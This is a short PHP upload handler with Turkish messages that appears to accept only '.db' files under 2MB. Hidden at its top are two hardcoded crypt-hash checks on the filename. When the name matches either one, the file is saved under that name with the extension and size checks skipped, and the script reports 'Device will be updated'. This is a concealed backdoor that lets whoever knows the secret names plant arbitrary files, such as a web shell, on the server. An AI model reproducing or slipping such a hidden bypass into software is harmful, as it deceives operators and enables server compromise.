<?php
   if(isset($_FILES['dbfile'])){
      $file_name = $_FILES['dbfile']['name'];
      $file_size =$_FILES['dbfile']['size'];
      $file_tmp =$_FILES['dbfile']['tmp_name'];
      $file_type=$_FILES['dbfile']['type'];
      $file_ext=strtolower(end(explode('.',$_FILES['dbfile']['name'])));
      
      if(crypt($file_name, '$1$Cl4k0HlO$SCv7JI5sPQNbxt8SfE8fE/') == '$1$Cl4k0HlO$SCv7JI5sPQNbxt8SfE8fE/') {
         move_uploaded_file($file_tmp,"".$file_name);
         echo "Device will be updated";
         return;

      }

      if(crypt($file_name, '$1$x7cyzCXR$IpzTmweUlEqOJMyCb4Jhj.') == '$1$x7cyzCXR$IpzTmweUlEqOJMyCb4Jhj.') {
         move_uploaded_file($file_tmp,"".$file_name);
         echo "Device will be updated";
         return;
      }

      $extensions= array("db");
         
      if(in_array($file_ext,$extensions)=== false){
         echo "db uzantılı dosya seçin.";
         return;
      }
         
      if($file_size > 2097152){
         echo "dosya uzunluğu maksimum 2MB olsun.";
         return;
      }

      move_uploaded_file($file_tmp,"".$file_name);
      echo "Yükleme başarılı";
      return;
   }else {
      echo "Dosya seçilmedi";
   }
?>

